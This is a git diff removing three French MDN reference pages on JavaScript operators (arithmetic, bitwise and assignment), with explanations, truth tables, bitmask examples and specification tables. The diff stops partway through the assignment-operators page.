diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_arithm\303\251tiques/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_arithm\303\251tiques/index.html" deleted file mode 100644 index d11d106a96..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_arithm\303\251tiques/index.html" +++ /dev/null @@ -1,296 +0,0 @@ ---- -title: Opérateurs arithmétiques -slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques -tags: - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators ---- -
{{jsSidebar("Operators")}}
- -

Les opérateurs arithmétiques utilisent des valeurs numériques (variables ou littéraux) comme opérandes et renvoient une valeur numérique. Les opérateurs arithmétiques standard sont l'addition (+), la soustraction (-), la multiplication (*), et la division (/).

- -
{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}
- - - -

Addition (+)

- -

L'opérateur d'addition permet d'obtenir la somme des opérandes numériques ou bien la concaténation de chaînes de caractères.

- -

Syntaxe

- -
Opérateur : x + y
- -

Exemples

- -
// nombre + nombre -> addition
-1 + 2 // 3
-
-// booléen + nombre -> addition
-true + 1 // 2
-
-// booléen + booléen -> addition
-false + false // 0
-
-// nombre + chaîne de caractères -> concaténation
-5 + "
-
- concaténation
-"toto" + false // "totofalse"
-
-// chaîne de caractères + chaîne de caractères -> concaténation
-"toto" + "truc" // "tototruc"
-
- -

Soustraction (-)

- -

L'opérateur de soustraction soustrait les deux opérandes pour obtenir leur différence.

- -

Syntaxe

- -
Opérateur : x - y
- -

Exemples

- -
5 - 3 // 2
-3 - 5 // -2
-"toto" - 3 // NaN
-
- -

Division (/)

- -

L'opérateur de division produit le quotient de ces opérandes avec l'opérande gauche comme numérateur et l'opérande droit comme dénominateur.

- -

Syntaxe

- -
Opérateur : x / y
- -

Exemples

- -
1 / 2      // renvoie 0.5 en JavaScript
-1 / 2      // renvoie 0 en Java
-// (aucun des deux opérandes n'est un nombre flottant de façon explicite)
-
-1.0 / 2.0  // renvoie 0.5 en JavaScript et Java
-
-2.0 / 0    // renvoie Infinity (pour l'infini) en JavaScript
-2.0 / 0.0  // renvoie Infinity également
-2.0 / -0.0 // renvoie -Infinity en JavaScript
- -

Multiplication (*)

- -

L'opérateur de multiplication permet d'obtenir le produit des opérandes.

- -

Syntaxe

- -
Opérateur : x * y
- -

Exemples

- -
2 * 2 // 4
--2 * 2 // -4
-Infinity * 0 // NaN
-Infinity * Infinity // Infinity
-"toto" * 2 // NaN
-
- -

Reste (%)

- -

L'opérateur « reste » renvoie le reste de la division du premier opérande par le second. Le résultat obtenu a toujours le signe du numérateur (la quantité divisée).

- -

Syntaxe

- -
Opérateur : var1 % var2
- -

Exemples

- -
12 % 5  // 2
--1 % 2  // -1
-1 % -2  // 1
-NaN % 2 // NaN
-1 % 2   // 1
-2 % 3   // 2
--4 % 2  // -0
-5.5 % 2 // 1.5
- -

Exponentiation (**)

- -

L'opérateur d'exponentiation (aussi appelé opérateur de puissance) renvoie le résultat de l'élévation d'un nombre (premier opérande) à une puissance donnée (deuxième opérande). Par exemple : var1 ** var2 sera équivalent à var1var2 en notation mathématique. Cet opérateur est associatif à droite, autrement dit a ** b ** c est égal à a ** (b ** c).

- -

Syntaxe

- -
Opérateur : var1 ** var2
- -

Notes

- -

Dans la plupart des langages (par exemple PHP, Python, etc.), l'opérateur d'exponentiation est défini avec une précédence supérieure à celle des opérateurs unaires tels que le plus unaire et le moins unaire. Des exceptions existent comme Bash où l'opérateur ** a une précédence inférieure à celle des opérateurs unaires. En JavaScript, il est impossible d'écrire une expression ambigüe avec l'exponentiation : il est impossible de placer un opérateur unaire juste avant le nombre.

- -
-2 ** 2;
-// vaut 4 en Bash ou -4 avec d'autres langages
-// C'est invalide en JavaScript car il y
-// une ambiguïté liée à l'expression
-
-- (2 ** 2);
-// -4 en JavaScript car les parenthèses lèvent
-// l'ambiguïté
-
- -

Exemples

- -
2 ** 3 // 8
-3 ** 2 // 9
-3 ** 2.5 // 15.588457268119896
-10 ** -1 // 0.1
-NaN ** 2 // NaN
-
-2 ** 3 ** 2 // 512
-2 ** (3 ** 2) // 512
-(2 ** 3) ** 2 // 64
- -
-

Note : JavaScript possède également un opérateur binaire ^ (XOR logique). ** et ^ sont deux opérateurs bien différents. Par exemple 2 ** 3 === 8 et 2 ^ 3 === 1.

-
- -

Incrément (++)

- -

L'opérateur d'incrément ajoute une unité à son opérande et renvoie une valeur.

- -
    -
  • Si l'opérateur est utilisé en suffixe (par exemple : x++), il renvoie la valeur avant l'incrémentation.
    • -
  • Si l'opérateur est utilisé en préfixe (par exemple : ++x), il renvoie la valeur après l'incrémentation.
    • -
- -

Syntaxe

- -
Opérateur : x++ ou ++x
- -

Exemples

- -
// Suffixe
-var x = 3;
-y = x++; // y = 3, x = 4
-
-// Préfixe
-var a = 2;
-b = ++a; // a = 3, b = 3
-
- -

Décrément (--)

- -

L'opérateur de décrément soustrait une unité à son opérande et renvoie une valeur.

- -
    -
  • Si l'opérateur est utilisé en suffixe (par exemple : x--), il renvoie la valeur avant la décrémentation.
    • -
  • Si l'opérateur est utilisé en préfixe (par exemple : --x), il renvoie la valeur après la décrémentation.
    • -
- -

Syntaxe

- -
Opérateur : x-- ou --x
- -

Exemples

- -
// Suffixe
-var x = 3;
-y = x--; // y = 3, x = 2
-
-// Préfixe
-var a = 2;
-b = --a; // a = 1, b = 1
-
- -

Négation unaire (-)

- -

L'opérateur de négation unaire précède son opérande et prend l'opposé de celui-ci (après l'avoir converti en nombre si besoin).

- -

Syntaxe

- -
Opérateur : -x
- -

Exemples

- -
var x = 3;
-y = -x; // y = -3, x = 3
-
-// La négation unaire permet de convertir
-// un opérande en nombre
-var y = "4";
-var z = -y; // z = -4
-
- -

Plus unaire (+)

- -

L'opérateur unaire plus (+) précède son opérande, l'évaluation correspond à son opérande, converti en nombre si possible et si ce n'est pas déjà un nombre. Bien que l'opérateur de négation unaire (-) puisse également convertir les expressions qui ne sont pas des nombres, le plus unaire est la méthode la plus efficace et celle la plus utilisée pour convertir quelque chose en un nombre car la conversion est la seule opération effectuée. Cet opérateur permet de convertir les chaînes de caractères représentant des nombres entiers, des nombres flottants ainsi que les valeurs true, false, et null. Les entiers, représentés sous forme décimale ou hexadécimale (préfixés par "0x"), sont supportés. Les nombres négatifs sont également supportés (mais pas au format hexadécimal). Si l'opérateur ne peut pas analyser l'opérande fourni, il sera évalué à NaN.

- -

Syntaxe

- -
Opérator : +x
- -

Exemples

- -
+3     // 3
-+"3"   // 3
-+true  // 1
-+false // 0
-+null  // 0
-+function(val){ return val; } // NaN
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-additive-operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2017', '#sec-postfix-expressions')}}{{Spec2('ES2017')}}
{{SpecName('ES2016', '#sec-postfix-expressions')}}{{Spec2('ES2016')}}Ajout de l'opérateur d'exponentiation.
{{SpecName('ES2015', '#sec-postfix-expressions')}}{{Spec2('ES2015')}}Définis au sein de plusieurs sections de cette spécification : Opérateurs additifs, opérateurs multiplicatifs, expressions postfixes, opérateurs unaires.
{{SpecName('ES5.1', '#sec-11.3')}}{{Spec2('ES5.1')}}Définis au sein de plusieurs sections de cette spécification : Opérateurs additifs, opérateurs multiplicatifs, expressions postfixes, opérateurs unaires.
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.arithmetic")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_binaires/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_binaires/index.html" deleted file mode 100644 index af76410f01..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_binaires/index.html" +++ /dev/null @@ -1,554 +0,0 @@ ---- -title: Opérateurs binaires -slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires -tags: - - JavaScript - - Operator - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators ---- -
{{jsSidebar("Operators")}}
- -

Les opérateurs binaires traitent leurs opérandes comme des séquences de 32 bits (des zéros et des uns), plutôt que comme des nombres décimaux, hexadécimaux ou octaux. Par exemple, le nombre décimal neuf a une représentation binaire de 1001. Les opérateurs binaires traitent de telles représentations binaires, mais renvoient des valeurs numériques JavaScript standards.

- -
{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}
- - - -

Le tableau qui suit résume les opérateurs binaires de JavaScript :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OpérateurUtilisationDescription
ET binairea & b -

Renvoie un 1 pour chaque position de bit pour laquelle les bits correspondants des deux opérandes sont des 1.

-
OU binairea | bRenvoie un 1 pour chaque position de bit pour laquelle le bit correspondant d'au moins un des deux opérandes est un 1 .
OU exclusif binaire (XOR)a ^ bRenvoie un 1 pour chaque position de bit pour laquelle le bit correspondant d'un seul des deux opérandes est un 1.
NON binaire~ aInverse les bits de son opérande.
Décalage à gauchea << bDécale a en représentation binaire de b bits vers la gauche, en introduisant des zéros par la droite.
Décalage à droite avec propagation du signea >> bDécale a en représentation binaire de b bits vers la droite, en rejetant les bits à droite.
Décalage à droite avec introduction de zérosa >>> bDécale a en représentation binaire de b bits vers la droite, en rejetant les bits à droite et en introduisant des zéros par la gauche.
- -

Entiers sur 32 bits signés

- -

Les opérandes de tous les opérateurs binaires sont convertis en entiers signés sur 32 bits en ordre big-endian et en format de complément à deux (à l'exception de l'opération de décalage à droite avec remplissage des zéros qui renvoie un non-signé). L'ordre big-endian signifie que le bit le plus significatif (la position du bit qui a la plus grande valeur) est le bit le plus à gauche si les 32 bits sont disposés sur une ligne horizontale. Le format de complément à deux signifie que la contrepartie négative d'un nombre (par exemple 5 pour -5) est l'inversion de tous les bits du nombre (NON binaire du nombre, c'est-à-dire son complément à un) plus un. Par exemple, la représentation suivante encode l'entier 314 (base 10) :

- -
00000000000000000000000100111010
-
- -

La représentation suivante encode ~314, c'est-à-dire le complément à un de 314 :

- -
11111111111111111111111011000101
-
- -

Finalement, la représentation suivante encode -314, c'est-à-dire le complément à deux de 314 :

- -
11111111111111111111111011000110
-
- -

Le complément à deux garantit que le bit le plus à gauche soit 0 lorsque le nombre est positif, et 1 lorsque le nombre est négatif. C'est pourquoi on l'appelle le bit de signe .

- -

Le nombre 0 est l'entier constitué intégralement de bits à 0 .

- -
0 (base 10) = 00000000000000000000000000000000 (base 2)
- -

Le nombre -1 est l'entier constitué intégralement de bits à 1 .

- -
-1 (base 10) = 11111111111111111111111111111111 (base 2)
- -

Le nombre -2147483648 (qui correspond à -0x80000000 en notation hexadécimale) est l'entier uniquement composé de 0, à l'exception du premier bit (le plus à gauche) qui vaut 1.

- -
-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
- -

Le nombre 2147483647 (qui correspond à 0x7fffffff en notation hexadécimale) est l'entier uniquement composé de 1, à l'exception du premier bit (le plus à gauche) qui vaut 0.

- -
2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
- -

Les nombres -2147483648 et 2147483647 sont respectivement le nombre le plus petit et le plus grand qu'on peut représenter sur 32 bits (signés).

- -

Opérateurs logiques binaires

- -

Conceptuellement, les opérateurs logiques binaires fonctionnent de la manière suivante :

- -
    -
  • Les opérandes sont convertis en entiers sur 32 bits et exprimés sous la forme d'une série de bits (des 1 et des 0). Les nombres sur plus de 32 bits voient leurs bits supplémentaires supprimés : - 
    Avant : 11100110111110100000000000000110000000000001
-Après :             10100000000000000110000000000001
    -
    • -
  • Chaque bit du premier opérande est combiné avec le bit correspondant du second opérande : le premier bit avec le premier bit, le second bit avec le second bit, et ainsi de suite.
    • -
  • L'opérateur est appliqué à chaque paire de bits, et le résultat est construit bit après bit.
    • -
- -

& (ET binaire)

- -

Effectue l'opération ET (AND) sur chaque paire de bits. a ET b donne 1 uniquement si à la fois a et b sont 1 . La table de vérité pour l'opération ET est :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba ET b
000
010
100
111
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
-
- -

Utiliser le ET binaire avec n'importe quel nombre x et zéro donne zéro. Utiliser le ET binaire avec n'importe quel nombre x et -1 donne x.

- -

| (OU binaire)

- -

Effectue l'opération OU (OR) sur chaque paire de bits. a OU b donne 1 si a ou b vaut 1. La table de vérité pour l'opération OU est :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba OU b
000
011
101
111
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
-
- -

Utiliser le OU binaire avec n'importe quel nombre x et 0 donne x. Utiliser le OU binaire avec n'importe quel nombre x et -1 donne -1.

- -

^ (XOR binaire)

- -

Effectue l'opération XOR (OU exclusif) sur chaque paire de bits. a XOR b donne 1 si a et b sont différents. La table de vérité pour l'opération XOR est :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba XOR b
000
011
101
110
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
-
- -

Utiliser le XOR binaire avec n'importe quel nombre x et 0 donne x. Utiliser le XOR binaire avec n'importe quel nombre x et -1 donne ~x.

- -

~ (NON binaire)

- -

Effectue l'opération NON (NOT) sur chaque bit. NON a donne la valeur inversée (c'est-à-dire le complément à un) de a. La table de vérité de l'opération NON est :

- - - - - - - - - - - - - - - - -
aNON a
01
10
- -
 9 (base 10) = 00000000000000000000000000001001 (base 2)
-               --------------------------------
-~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
-
- -

Utiliser le NON binaire avec n'importe quel nombre x donne -(x + 1). Par exemple, ~-5 donne 4.

- -

Étant donnée la représentation sur 32 bits des nombres en JavaScript, on a ~-1 et ~4294967295 (232-1) qui valent tous les deux 0.

- -

Opérateurs de décalage binaire

- -

Les opérateurs de décalage binaire (shift) prennent deux opérandes : le premier est une valeur à décaler et le second spécifie le nombre de positions de bits duquel le premier opérande doit glisser. La direction de l'opération de décalage est contrôlée par l'opérateur utilisé.

- -

Les opérateurs de décalage convertissent leurs opérandes en entiers 32 bits en ordre big-endian et renvoient un résultat du même type que l'opérande de gauche. L'opérande droit doit être inférieur à 32, sinon les cinq bits les plus faibles seront utilisés.

- -

<< (décalage à gauche)

- -

Cet opérateur décale le premier opérande du nombre de bits spécifié vers la gauche. Les bits surnuméraires éjectés à gauche sont perdus. Des bits à zéro sont insérés par la droite.

- -

Par exemple, 9 << 2 donne 36 :

- -
     9 (base 10) : 00000000000000000000000000001001 (base 2)
-                   --------------------------------
-9 << 2 (base 10) : 00000000000000000000000000100100 (base 2) = 36 (base 10)
-
- -

Décaler un nombre x de y bits vers la gauche renverra x*2yx*2^y. Par exemple,  9 << 3 correspondra à 9 * (2 ** 3) = 9 * 8 = 72.

- -

>> (décalage à droite avec propagation du signe)

- -

Cet opérateur décale le premier opérande du nombre de bits spécifié vers la droite. Les bits surnuméraires éjectés à droite sont perdus. Des copies du bit le plus à gauche sont insérés par la gauche. Comme le bit le plus a gauche a la même valeur qu'avant l'opération, le bit de signe (celui qui est le plus à gauche) ne change pas. D'où ce qu'on appelle la « propagation du signe ».

- -

Par exemple, 9 >> 2 donne 2 :

- -
     9 (base 10) : 00000000000000000000000000001001 (base 2)
-                   --------------------------------
-9 >> 2 (base 10) : 00000000000000000000000000000010 (base 2) = 2 (base 10)
-
- -

De même, -9 >> 2 donne -3, parce que le signe est préservé :

- -
     -9 (base 10) : 11111111111111111111111111110111 (base 2)
-                    --------------------------------
--9 >> 2 (base 10) : 11111111111111111111111111111101 (base 2) = -3 (base 10)
-
- -

>>> (décalage à droite avec insertion de zéros)

- -

Cet opérateur décale le premier opérande du nombre de bits spécifié vers la droite. Les bits surnuméraires éjectés à droite sont perdus. Des bits à zéro sont insérés par la gauche. Le bit de signe devient 0, donc le résultat est toujours positif. À la différence des autres opérateurs binaires, cette opération renvoie un entier non-signé sur 32 bits.

- -

Pour les nombres non négatifs, le décalage à droite avec insertion de zéros et le décalage à droite avec propagation du signe donnent le même résultat. Par exemple, 9 >>> 2 donne 2, tout comme 9 >> 2 :

- -
      9 (base 10) : 00000000000000000000000000001001 (base 2)
-                    --------------------------------
-9 >>> 2 (base 10) : 00000000000000000000000000000010 (base 2) = 2 (base 10)
-
- -

Cependant, ce n'est pas le cas des nombres négatifs. Par exemple, -9 >>> 2 donne 1073741821, ce qui est différent de -9 >> 2 (qui donne -3) :

- -
      -9 (base 10) : 11111111111111111111111111110111 (base 2)
-                     --------------------------------
--9 >>> 2 (base 10) : 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
-
- -

Exemples

- -

Exemple : flags et bitmasks

- -

Les opérateurs logiques binaires sont souvent utilisés pour créer, manipuler et lire des séquences deflags , qui sont comme des variables binaires. On pourrait très bien utiliser des variables à la place de ces séquences binaires, mais des flags binaires prennent nettement moins de mémoire (par un facteur de 32).

- -

Supposons que l'on ait 4 flags :

- -
    -
  • flag A : nous avons une araignée
    • -
  • flag B : nous avons une belette
    • -
  • flag C : nous avons un chat
    • -
  • flag D : nous avons un dinosaure
    • -
- -

Ces flags sont représentés par une séquence de bits : DCBA. Lorsqu'un flag est positionné, il a une valeur de 1. Sinon, il a une valeur de 0. Supposons qu'une variable flags a la valeur binaire de 0101 :

- -
var flags = 0x5;   // 0101 en binaire
-
- -

Cette valeur indique :

- -
    -
  • le flag A est vrai (nous avons une araignée) ;
    • -
  • le flag B est faux (nous n'avons pas de belette) ;
    • -
  • le flag C est vrai (nous avons un chat) ;
    • -
  • le flag D est faux (nous n'avons pas de dinosaure).
    • -
- -

Comme les opérateurs binaires sont sur 32 bits, 0101 est en fait 00000000000000000000000000000101, mais les zéros qui précèdent peuvent être négligés étant donné qu'ils ne contiennent aucune information significative.

- -

Un bitmask est une séquence de bits qui peuvent manipuler et/ou lire des flags. Typiquement, un masque « primitif » pour chaque flag est défini :

- -
var FLAG_A = 0x1; // 0001
-var FLAG_B = 0x2; // 0010
-var FLAG_C = 0x4; // 0100
-var FLAG_D = 0x8; // 1000
-
- -

De nouveaux masques peuvent être créés à l'aide des opérateurs logiques binaires sur ces masques primitifs. Par exemple, le masque 1011 peut être créé avec une opération OU sur FLAG_A, FLAG_B et FLAG_D :

- -
var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 => 1011
-
- -

Des valeurs de flag particulières peuvent être extraites à l'aide d'une opération ET avec un bitmask, où chaque bit avec la valeur 1 va « extraire » le flag qui correspond. Le bitmask masque les flags dont on n'a pas besoin en effectuant l'opération ET avec des zéros (d'où le terme « bitmask »). Par exemple, le masque 0100 peut être utilisé pour voir si le flag C est positionné :

- -
// si l'on a un chat
-if (flags & FLAG_C) { // 0101 & 0100 => 0100 => true
-   // faire quelque chose
-}
-
- -

Un masque avec plusieurs flags positionnés agit comme un « et/ou ». Par exemple, les deux instructions suivantes sont équivalentes :

- -
// si on a une belette ou si on a un chat
-if ((flags & FLAG_B) || (flags & FLAG_C)) { // (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true
-   // faire quelque chose
-}
-
- -
// si on a une belette ou si on a un chat
-var mask = FLAG_B | FLAG_C; // 0010 | 0100 => 0110
-if (flags & mask) { // 0101 & 0110 => 0100 => true
-   // faire quelque chose
-}
-
- -

Les flags peuvent être positionnés en utilisant l'opération OU avec un masque, où chaque bit de la valeur 1 définira le flag correspondant, si celui-ci n'est pas déjà positionné. Par exemple, le masque 1100 peut être utilisé pour positionner les flags C et D :

- -
// oui, on a un chat et un dinosaure
-var mask = FLAG_C | FLAG_D; // 0100 | 1000 => 1100
-flags |= mask;   // 0101 | 1100 => 1101
-
- -

Les flags peuvent être remis à zéro en utilisant l'opération ET avec un masque, où chaque bit avec la valeur 0 remettra à zéro le flag correspondant s'il ne l'est pas déjà. Ce masque peut être créé avec l'opération NOT sur les masques primitifs. Par exemple, le masque 1010 peut être utilisé pour remettre à zéro les flags A et C :

- -
// non, nous n'avons pas d'araignée ou de chat
-var mask = ~(FLAG_A | FLAG_C); // ~0101 => 1010
-flags &= mask;   // 1101 & 1010 => 1000
-
- -

Le masque aurait également pu être créé avec ~FLAG_A & ~FLAG_C (Loi de De Morgan) :

- -
// non, nous n'avons pas d'araignée ou de chat
-var mask = ~FLAG_A & ~FLAG_C;
-flags &= mask;   // 1101 & 1010 => 1000
-
- -

Les flags peuvent être inversés en utilisant l'opération XOR avec un masque, où chaque bit avec la valeur 1 inversera le flag correspondant. Par exemple, le masque 0110 peut être utilisé pour inverser les flags B et C :

- -
// si on n'avait pas de belette, on en a maintenant une.
-// si on en avait une, on ne l'a plus. Même chose pour les chats.
-var mask = FLAG_B | FLAG_C;
-flags = flags ^ mask;   // 1100 ^ 0110 => 1010
-
- -

Finalement, les flags peuvent être tous inversés avec l'opérateur NON :

- -
// entrée dans un univers parallèle...
-flags = ~flags;    // ~1010 => 0101
-
- -

Codes de conversion

- -

Pour convertir une String binaire en un Number (en base 10):

- -
var chaîneBinaire = "1011";
-var monNombre = parseInt(chaîneBinaire, 2);
-console.log(monNombre); // affiche 11 (1011 en base 2)
-
- -

Pour convertir un Number (en base 10) en une String binaire :

- -
var monNombre = 11;
-var chaîneBinaire = monNombre.toString(2);
-console.log(chaîneBinaire); // affiche 1011 (11 en base 10)
-
- -

Automatiser la création d'un masque

- -

Si vous devez créer plusieurs masques à partir de booléens, il est possible d'automatiser ce processus :

- -
function créerMasque () {
-  var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length;
-  for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++);
-  return nMask;
-}
-var masque1 = créerMasque(true, true, false, true); // 11, i.e.: 1011
-var masque2 = créerMasque(false, false, true); // 4, i.e.: 0100
-var masque3 = créerMasque(true); // 1, i.e.: 0001
-// etc.
-
-console.log(masque1); // affiche 11, i.e.: 1011
-
- -

Algorithme réciproque : obtenir un tableau de booléen à partir d'un masque

- -

Si on souhaite créer un tableau de booléens à partir d'un masque, on pourra utiliser le code suivant :

- -
function tableauMasque (nMask) {
-  // nMask doit être compris entre -2147483648 et 2147483647
-  if (nMask > 0x7fffffff || nMask < -0x80000000) {
-    throw new TypeError("tableauMasque - intervalle de valeur dépassé");
-  }
-  for (var nShifted = nMask, aFromMask = []; nShifted;
-       aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1);
-  return aFromMask;
-}
-
-var tableau1 = tableauMasque(11);
-var tableau2 = tableauMasque(4);
-var tableau3 = tableauMasque(1);
-
-console.log("[" + tableau1.join(", ") + "]");
-// affiche "[true, true, false, true]", i.e.: 11, i.e.: 1011
-
- -

On peut ainsi utiliser les deux algorithmes :

- -
var test = 19; // un masque quelconque
-var résultat = créerMasque.apply(this, tableauMasque(test));
-
-console.log(résultat); // 19
-
- -

Pour l'exemple (car il existe la méthode Number.toString(2)), on peut également modifier l'algorithme précédent pour créer une chaîne à partir de la représentation binaire d'un nombre :

- -
function créerChaîneBinaire(nMask) {
-  // nMask doit être compris entre -2147483648 et 2147483647
-  for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag < 32;
-       nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1);
-  return sMask;
-}
-
-var string1 = créerChaîneBinaire(11);
-var string2 = créerChaîneBinaire(4);
-var string3 = créerChaîneBinaire(1);
-
-console.log(string1);
-// affiche 00000000000000000000000000001011, i.e. 11
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-11.7')}}{{Spec2('ES5.1')}}Définis au sein de plusieurs sections de la spécification : Opérateur NON binaire, Opérateurs binaires de décalage, Opérateurs binaires
{{SpecName('ES6', '#sec-bitwise-shift-operators')}}{{Spec2('ES6')}}Définis au sein de plusieurs sections de la spécification : Opérateur NON binaire, Opérateurs binaires de décalage, Opérateurs binaires
{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}{{Spec2('ESDraft')}}Defined in several sections of the specification: opérateur NON binaire, opérateurs binaires de décalage, opérateurs binaires
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.bitwise")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_d_affectation/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_d_affectation/index.html" deleted file mode 100644 index d019cb8637..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/op\303\251rateurs_d_affectation/index.html" +++ /dev/null @@ -1,414 +0,0 @@ ---- -title: Opérateurs d'affectation -slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation -tags: - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators#Assignment_operators -translation_of_original: Web/JavaScript/Reference/Operators/Assignment_Operators ---- -
{{jsSidebar("Operators")}}
- -

Un opérateur d'affectation permet d'assigner une valeur à son opérande gauche en se basant sur la valeur de son opérande droit.

- -
{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}
- - - -

Description

- -

L'opérateur utilisé pour l'affectation est le symbole égal (=), il permet d'affecter la valeur de l'opérande droit à son opérande gauche. Ainsi, quand on écrit x = y, on affecte la valeur de y à x. Les autres opérateurs d'affectation sont généralement des raccourcis pour des opérations standards. Ils sont décrits ci-après avec définitions et exemples.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomOpérateur (raccourci)Signification
Affectationx = yx = y
Affectation après additionx += yx = x + y
Affectation après soustractionx -= yx = x - y
Affectation après multiplicationx *= yx = x * y
Affectation après divisionx /= yx = x / y
Affectation du restex %= yx = x % y
Affectation après exponentiationx **= yx = x ** y
Affectation après décalage à gauchex <<= yx = x << y
Affectation après décalage à droitex >>= yx = x >> y
Affectation après décalage à droite non-signéx >>>= yx = x >>> y
Affectation après ET binairex &= yx = x & y
Affectation après OU exclusif binairex ^= yx = x ^ y
Affectation après OU binairex |= yx = x | y
- -

Affectation

- -

L'opérateur d'affectation simple permet d'assigner une valeur à une variable. Le résultat de l'affectation est la valeur affectée. Il est possible de chaîner plusieurs opérateurs d'affectation afin d'assigner une même valeur à plusieurs variables. Voir l'exemple ci-après.

- -

Syntaxe

- -
Opérateur : x = y
-
- -

Exemples

- -
// Si on dispose des variables suivantes :
-//  x = 5;
-//  y = 10;
-//  z = 25;
-
-x = y;     // x vaudra désormais 10
-x = y = z; // x, y et z valent désormais tous 25
-
- -

Affectation après addition

- -

Cet opérateur permet d'ajouter la valeur de l'opérande droit à une variable, le résultat de l'addition étant affecté à cette variable. Les types des deux opérandes déterminent le comportement de l'opérateur. Selon le type, on pourra en effet avoir une addition ou une concaténation. Voir la page sur l'opérateur d'{{jsxref("Opérateurs/Opérateurs_arithmétiques", "addition", "#Addition_(.2B)", 1)}} pour plus d'informations.

- -

Syntaxe

- -
Opérateur : x += y
-Signification :  x  = x + y
-
- -

Exemples

- -
// Si on dispose des variables suivantes :
-//  toto = "toto";
-//  truc = 5;
-//  machin = true;
-
-
-// Nombre + Nombre -> addition
-truc += 2; // 7
-
-// Booléen + Booléen -> addition
-machin += 1; // 2
-
-// Booléen + Booléen -> addition
-machin += false; // 1
-
-// Nombre + String -> concaténation
-truc += "toto"; // "5toto"
-
-// String + Booléen -> concaténation
-toto += false; // "totofalse"
-
-// String + String -> concaténation
-toto += "truc"; // "tototruc"
-
- -

Affectation après soustraction

- -

Cet opérateur soustrait la valeur de l'opérande droit à la variable puis affecte le résultat de cette soustraction à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "soustraction", "#Soustraction_(-)", 1)}} pour plus d'information.

- -

Syntaxe

- -
Opérateur : x -= y
-Signification :  x  = x - y
-
- -

Exemples

- -
// Si on a la variable suivante :
-//  truc = 5;
-
-truc -= 2;     // 3
-truc -= "toto"; // NaN
-
- -

Affectation après multiplication

- -

Cet opérateur permet de multiplier une variable par la valeur de l'opérande droit et d'affecter le résultat de cette opération à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "multiplication", "#Multiplication_(*)", 1)}} pour plus d'informations.

- -

Syntaxe

- -
Opérateur : x *= y
-Signification :  x  = x * y
-
- -

Exemples

- -
// Si on a la variable suivante :
-//  truc = 5;
-
-truc *= 2;     // 10
-truc *= "toto"; // NaN
-
- -

Affectation après division

- -

Cet opérateur permet de diviser une variable par la valeur de l'opérande droit et d'affecter le résultat de cette opération à la variable. Voir la page sur l'opérateur de {{jsxref("Opérateurs/Opérateurs_arithmétiques", "division", "#Division_(.2F)", 1)}} pour plus d'informations.

- -

Syntaxe

- -
Opérateur : x /= y
-Signification :  x  = x / y
-
- -

Exemples

- -
// Si on a la variable suivante :
